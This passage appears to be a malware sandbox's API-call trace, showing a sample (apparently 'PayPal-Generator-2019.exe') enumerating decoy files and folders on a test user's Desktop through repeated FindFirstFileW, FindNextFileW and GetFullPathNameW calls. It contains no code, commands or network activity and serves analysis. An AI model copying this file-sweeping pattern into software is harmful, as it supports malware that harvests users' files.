lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0115.587] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpFilePart=0x0) returned 0x1e [0115.587] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e858b8 [0115.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0115.587] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0115.587] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpFilePart=0x0) returned 0x1e [0115.587] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e856b8 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.588] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.589] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.590] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.591] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.591] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.591] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.591] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.592] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.593] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.593] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0115.593] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.593] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.593] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.593] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0115.593] FindClose (in: hFindFile=0x8e858b8 | out: hFindFile=0x8e858b8) returned 1 [0115.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0115.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0115.594] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.594] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.594] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2T IWfJ9eBqM5_-.m4a", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2T IWfJ9eBqM5_-.m4a", lpFilePart=0x0) returned 0x31 [0115.594] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.594] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5UEdbrOtZTvQPXdz.flv", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5UEdbrOtZTvQPXdz.flv", lpFilePart=0x0) returned 0x32 [0115.594] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.594] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\70SXSf273si.m4a", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\70SXSf273si.m4a", lpFilePart=0x0) returned 0x2d [0115.595] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0115.595] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0115.595] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0115.595] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.595] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0115.596] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.596] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0115.596] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FS4YjwfMXuHPvOM.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FS4YjwfMXuHPvOM.pptx", lpFilePart=0x0) returned 0x32 [0115.596] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0115.597] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0115.597] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\J4buaWxCLD98 zkL.swf", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\J4buaWxCLD98 zkL.swf", lpFilePart=0x0) returned 0x32 [0115.597] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0115.597] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\l4SITl7bmY3hAAjFTI.m4a", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\l4SITl7bmY3hAAjFTI.m4a", lpFilePart=0x0) returned 0x34 [0115.598] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.598] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\L7UMq.mkv", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\L7UMq.mkv", lpFilePart=0x0) returned 0x27 [0115.598] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.598] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\LKT_.odt", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\LKT_.odt", lpFilePart=0x0) returned 0x26 [0115.598] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.598] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Lr5i13y.swf", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Lr5i13y.swf", lpFilePart=0x0) returned 0x29 [0115.598] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.598] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0115.599] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0115.599] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe", lpFilePart=0x0) returned 0x37 [0115.599] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0115.599] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0115.600] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0115.600] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U0KJHh8Q_f.odt", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U0KJHh8Q_f.odt", lpFilePart=0x0) returned 0x2c [0115.600] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiDmTuITnv-lLb.flv", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiDmTuITnv-lLb.flv", lpFilePart=0x0) returned 0x30 [0115.600] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.600] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0115.601] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\yT6Y.m4a", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\yT6Y.m4a", lpFilePart=0x0) returned 0x26 [0115.601] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.601] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0115.601] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0115.601] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0115.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0115.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0115.602] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0115.602] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0115.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0115.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0115.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0115.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\", lpFilePart=0x0) returned 0x33 [0115.602] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e858b8 [0115.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0115.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0115.602] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\", lpFilePart=0x0) returned 0x33 [0115.602] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85238 [0115.603] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.603] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e", lpFilePart=0x0) returned 0x40 [0115.603] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.603] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.603] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0115.604] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.604] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\.", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0115.604] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0115.604] FindClose (in: hFindFile=0x8e858b8 | out: hFindFile=0x8e858b8) returned 1 [0115.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0115.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0115.604] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.604] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.604] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0115.604] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.604] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.604] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0115.605] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.605] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0115.605] FindNextFileW (in: 